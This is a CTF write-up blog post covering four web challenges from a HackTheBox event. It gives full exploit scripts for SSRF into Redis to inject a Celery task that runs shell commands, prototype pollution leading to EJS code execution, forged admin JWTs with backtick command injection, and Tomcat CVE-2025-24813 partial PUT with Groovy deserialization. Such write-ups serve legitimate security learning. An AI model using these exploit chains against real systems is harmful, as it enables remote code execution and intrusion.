Contents

Neurogrid CTF: Human-Only 2025 | Web

Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 4 out of 1337 players. This post covers the Web challenges.

Neurogrid CTF: Human-Only 2025

Team Solves Progress


Description: In the merchant port of Hōgetsu, the teahouse above the market hides more than it serves. Ayame watches scripted patrons, mirrored signage, and a crawlspace thick with sealed debts—proof the ledger is staged. Your job is to slip into the same flask ordering board, sift the thing, and expose how doctored receipts prop up the facade.

Points: 1000 | Difficulty: Easy

We’re given a Flask marketplace application with a Celery/Redis task queue for background processing. When sellers create listings, any markdown image URLs in the notes field get fetched asynchronously by a Celery worker using curl.

The interesting part is in tasks.py:

def fetch_url(url, note_id, curl_binary="curl"):
    # Blocklist check
    if url.startswith(('gopher://', 'file://', "-K", "-k")):
        return {"success": False, "error": "Blocked protocol"}

    curl_cmd = ["-s", "-L", "-m", "30", url]
    curl_cmd = f"{curl_binary} {shlex.join(curl_cmd)}"
    result = subprocess.run(curl_cmd, capture_output=True, shell=True, ...)

There’s command injection via the curl_binary parameter - it’s inserted directly into a shell command without escaping. The shlex.join() only protects the argument list, not the binary path prefix.

But the curl_binary parameter isn’t user-controllable through normal HTTP requests. It’s only set when Celery deserializes tasks from Redis. So we need SSRF to inject a malicious Celery task directly into the Redis queue.

The URL filtering in models/listing.py adds another layer:

def filter_http_urls(urls: List[str]) -> List[str]:
    for url in urls[:]:
        if url.strip(string.punctuation).startswith(('http://', 'https://')):
            filtered_urls.append(url)  # Returns ORIGINAL url
    return filtered_urls

This strips punctuation before validation but returns the original URL - a classic filter bypass pattern.

The attack requires chaining three bypasses:

  1. Uppercase GOPHER bypass: The blocklist checks gopher:// (lowercase) but curl treats GOPHER:// identically
  2. Curl URL globbing: Using {url1,url2} syntax makes curl fetch both URLs. The first satisfies the HTTP filter, the second hits Redis
  3. Redis/Celery injection: GOPHER protocol allows raw socket communication with Redis using RESP format

The final payload URL looks like:

{http://127.0.0.1/,GOPHER://127.0.0.1:6379/_*3%0D%0A$5%0D%0ALPUSH%0D%0A$6%0D%0Acelery%0D%0A$<len>%0D%0A<CELERY_MESSAGE>%0D%0A}

The Celery message must be properly formatted with headers, body, and properties - including a delivery_tag or the worker crashes:

#!/usr/bin/env python3
import base64, json, time, urllib.parse, uuid, requests

TARGET = "http://94.237.120.233:38140"

def build_malicious_celery_message(curl_binary="/usr/local/bin/read_flag>/app/cache/flag.txt;#"):
    task_id = str(uuid.uuid4())
    args = ["http://localhost/dummy", 1]
    kwargs = {"curl_binary": curl_binary}
    embed = {"callbacks": None, "errbacks": None, "chain": None, "chord": None}
    body = base64.b64encode(json.dumps([args, kwargs, embed]).encode()).decode()

    headers = {
        "lang": "py", "task": "tasks.fetch_url", "id": task_id,
        "shadow": None, "eta": None, "expires": None, "group": None,
        "group_index": None, "retries": 0, "timelimit": [None, None],
        "root_id": task_id, "parent_id": None, "argsrepr": str(tuple(args)),
        "kwargsrepr": str(kwargs), "origin": "gen@glob", "ignore_result": False,
        "replaced_task_nesting": 0, "stamped_headers": None, "stamps": {},
    }

    properties = {
        "correlation_id": task_id, "reply_to": str(uuid.uuid4()),
        "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "celery"},
        "priority": 0, "body_encoding": "base64", "delivery_tag": str(uuid.uuid4()),
    }

    return json.dumps({
        "body": body, "content-encoding": "utf-8", "content-type": "application/json",
        "headers": headers, "properties": properties,
    })

def build_gopher_url():
    message = build_malicious_celery_message()
    parts = ["LPUSH", "celery", message]
    resp = f"*{len(parts)}\r\n"
    for part in parts:
        resp += f"${len(part)}\r\n{part}\r\n"
    return f"GOPHER://127.0.0.1:6379/_{urllib.parse.quote(resp, safe='')}"

gopher_url = build_gopher_url()
glob_url = f"{{http://127.0.0.1/,{gopher_url}}}"
note = f"![pwn]({glob_url})"

payload = {
    "seller_name": "attacker", "scroll_name": f"Exploit-{int(time.time())}",
    "price": 1, "description": "pwn", "note": note, "image_url": "",
}

requests.post(f"{TARGET}/api/listings", json=payload)
time.sleep(5)

resp = requests.get(f"{TARGET}/cache/flag.txt")
print(resp.text)

The injected task runs /usr/local/bin/read_flag (a setuid binary) and redirects output to the cache directory. The # comments out the remaining curl arguments.

Flag: HTB{sm0k3_b3h1nd_p4p3r_w4lls_w3b_0f_d3c3pt1on_77ed079d74b931042845075ba49e55cb}


Description: KuroMind is a knowledge management platform where users submit knowledge items for operator review. The wisdom you share might just teach the system more than intended.

Points: 975 | Difficulty: Hard

A Node.js/Express application using EJS templating. Users create “knowledge drafts” that get submitted for review by a Playwright bot. The vulnerability chain starts with a prototype pollution in utils/merge.js:

export function deepMerge(target, source) {
  let depth = 0;
  function merge(currentTarget, currentSource) {
    if (depth > 10) return currentTarget;
    depth++;
    for (let key in currentSource) {
      if (typeof currentSource[key] === 'object' && currentSource[key] !== null) {
        currentTarget[key] = merge(currentTarget[key] || {}, currentSource[key]);
      } else {
        currentTarget[key] = currentSource[key];
      }
    }
    return currentTarget;
  }
  return merge(target, source);
}

No filtering of __proto__ or constructor - textbook prototype pollution. The trigger point is in /user/edit/:id:

const newTags = JSON.parse(tags);
updatedTags = deepMerge(updatedTags, newTags);

EJS 3.1.10 added hasOwnOnlyObject protection against prototype pollution, but Express has special handling for data.settings['view options'] that bypasses it:

// EJS renderFile reads settings from prototype chain
if (data.settings) {
  viewOpts = data.settings['view options'];  // Reads from Object.prototype!
  if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
  }
}

When opts.client = true, EJS embeds escapeFunction directly into generated JavaScript:

if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}

If escapeFunction is a string instead of a function, we get code injection.

The final challenge is ESM context - no require() available. The solution is process.binding('spawn_sync') which provides direct access to child process spawning:

var p = globalThis.process;
var s = p.binding('spawn_sync');
var opts = {
  file: '/bin/sh',
  args: ['sh', '-c', 'cp /flag.txt /app/public/f.txt'],
  envPairs: [],
  stdio: [{type:'pipe',readable:1,writable:0},
          {type:'pipe',readable:0,writable:1},
          {type:'pipe',readable:0,writable:1}]
};
s.spawn(opts);
#!/usr/bin/env python3
import requests, re, json, time, random, string

def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def exploit(target_url):
    session = requests.Session()
    username = f"hacker_{random_string()}"
    email = f"{username}@test.com"
    password = "password123"

    # Register
    resp = session.get(f"{target_url}/register")
    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
    session.post(f"{target_url}/register", data={
        "_csrf": csrf, "username": username, "email": email,
        "password": password, "confirmPassword": password
    }, allow_redirects=False)

    # Login
    resp = session.get(f"{target_url}/login")
    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
    session.post(f"{target_url}/login", data={
        "_csrf": csrf, "email": email, "password": password
    }, allow_redirects=False)
    session.get(f"{target_url}/user/dashboard")

    # Create draft
    resp = session.get(f"{target_url}/user/add")
    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
    session.post(f"{target_url}/user/add", data={
        "_csrf": csrf, "title": "Test", "description": "Test",
        "tags": '{"categories": ["test"]}'
    })

    # Find draft ID
    resp = session.get(f"{target_url}/user/drafts")
    draft_id = re.search(r'href="/user/edit/(\d+)"', resp.text).group(1)

    # Edit with prototype pollution payload
    resp = session.get(f"{target_url}/user/edit/{draft_id}")
    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)

    payload = (
        "1;var p=globalThis.process;var s=p.binding('spawn_sync');"
        "var opts={file:'/bin/sh',args:['sh','-c','cp /flag.txt /app/public/f.txt'],"
        "envPairs:[],stdio:[{type:'pipe',readable:1,writable:0},"
        "{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]};"
        "s.spawn(opts)"
    )

    malicious_tags = {
        "__proto__": {
            "settings": {
                "view options": {"client": 1, "escapeFunction": payload}
            }
        },
        "categories": ["test"]
    }

    session.post(f"{target_url}/user/edit/{draft_id}", data={
        "_csrf": csrf, "title": "Test", "description": "Test",
        "tags": json.dumps(malicious_tags)
    })

    # Submit for bot review
    resp = session.get(f"{target_url}/user/drafts")
    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
    session.post(f"{target_url}/user/drafts/submit/{draft_id}", data={"_csrf": csrf})

    time.sleep(5)
    print(session.get(f"{target_url}/f.txt").text)

exploit("http://TARGET:PORT")

The bot visits the review page, triggering EJS compilation with our polluted prototype. The RCE copies /flag.txt to the public directory.

Flag: HTB{pr0t0typ3_p0llut10n_3js_rce_1n_esm_c0nt3xt}


Description: Ayame has spent years weaving information networks through Gekkō’s alleys, favoring precision strikes over reckless blades. Lately she suspects a rival clan has hijacked her moonlit gallery, twisting it into a staging ground for hushed deals and pilfered secrets. She needs a careful ally—someone to slip through the lantern-lit facade, catalogue the tampering, and restore balance without shattering the trust of the people she protects.

Points: 950 | Difficulty: Very Easy

A Next.js application with admin functionality. Examining the JavaScript bundles from /_next/static/chunks/pages/admin-*.js reveals a hardcoded JWT secret in the client-side code:

"X-Lantern-Sigil":"ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024"

With the secret exposed, forging an admin token is trivial:

const crypto = require('crypto');

function base64UrlEncode(str) {
  return Buffer.from(str).toString('base64')
    .replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_');
}

const header = { alg: 'HS256', typ: 'JWT' };
const payload = {
  username: 'admin', role: 'admin',
  iat: Math.floor(Date.now()/1000),
  exp: Math.floor(Date.now()/1000) + 86400
};
const secret = 'ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024';

const data = base64UrlEncode(JSON.stringify(header)) + '.' +
             base64UrlEncode(JSON.stringify(payload));
const signature = crypto.createHmac('sha256', secret).update(data).digest('base64')
  .replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_');

console.log(data + '.' + signature);

With admin access, the /api/admin/reports endpoint has command injection via the filename parameter using backticks:

filename="test`id`.csv"
# Response shows: uid=65534(nobody) gid=65533(nogroup)

Spaces are filtered, but ${IFS} works as a substitute:

# Inject command to copy flag
curl -X POST "http://TARGET/api/admin/reports" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"reportType":"user_activity","format":"csv","filename":"x`cat${IFS}/flag.txt>/tmp/reports/flag.txt`y"}'

# Retrieve flag via files API
curl "http://TARGET/api/admin/files?filename=flag.txt" \
  -H "Authorization: Bearer $TOKEN"

Flag: HTB{4y4m3_g3kk0_m00nl1ght_4ll3ys_sh4d0w_w3b_69b5139fb865bc3b810d7baa18876e7a}


Description: The Whisper Network carries messages across Kurozan’s empire, recording every movement and decree in silence. It has no voice of its own, yet it remembers everything spoken through it.

Points: 1000 | Difficulty: Medium

Tomcat 9.0.98 with some interesting configuration choices. Looking at conf/web.xml:

<init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
</init-param>
<init-param>
  <param-name>allowPartialPut</param-name>
  <param-value>true</param-value>
</init-param>

PUT requests are enabled with partial upload support - this enables CVE-2025-24813. The context.xml shows PersistentManager with FileStore for session storage, meaning session files are serialized to disk.

The application includes a custom Testing class with Groovy support:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ois.defaultReadObject();
    if (groovyScript != null && !groovyScript.trim().isEmpty()) {
        processGroovyScript();
    }
}

private void processGroovyScript() {
    GroovyClassLoader groovyClassLoader = new GroovyClassLoader(...);
    Class<?> groovyClass = groovyClassLoader.parseClass(groovyScript);
}

During deserialization, if the object contains a Groovy script, it gets parsed. Groovy’s @ASTTest annotation executes its closure during AST construction - before any class instantiation.

The attack chain:

  1. Use partial PUT (CVE-2025-24813) to upload a serialized Testing object as a session file
  2. The Content-Range header trick creates files with . prefix in the work directory
  3. Request the page with Cookie: JSESSIONID=.exploit to trigger deserialization
  4. @ASTTest closure executes during Groovy parsing

First, create the payload generator:

// GeneratePayload.java
import java.io.*;
import com.example.Testing;

public class GeneratePayload {
    public static void main(String[] args) throws Exception {
        String groovyScript = """
            @groovy.transform.ASTTest(value={
                ["/bin/sh", "-c", "/readflag > /usr/local/tomcat/webapps/ROOT/flag.txt"].execute()
            })
            class Exploit {}
            """;

        Testing payload = new Testing("exploit", 1337, groovyScript);

        try (ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream("payload.session"))) {
            oos.writeObject(payload);
        }
    }
}

The Testing class must match the server’s serialVersionUID (8138492976104377189L).

Upload and trigger:

# Compile and generate payload
javac -cp . com/example/Testing.java GeneratePayload.java
java -cp . GeneratePayload

# Upload via partial PUT (creates .exploit.session)
curl -X PUT "http://TARGET/exploit.session" \
  -H "Content-Range: bytes 0-253/254" \
  --data-binary @payload.session

# Trigger deserialization
curl "http://TARGET/" -H "Cookie: JSESSIONID=.exploit"

# Fetch flag
curl "http://TARGET/flag.txt"

The /readflag binary is setuid and reads /root/flag.txt, writing it to the webroot.

Flag: HTB{CVE-2025-24813_plus_gr0vy_met4_pr0gramming_is_the_best_45dd7a15ec203994ce1d0e4ec0c5b1b0}

Related Content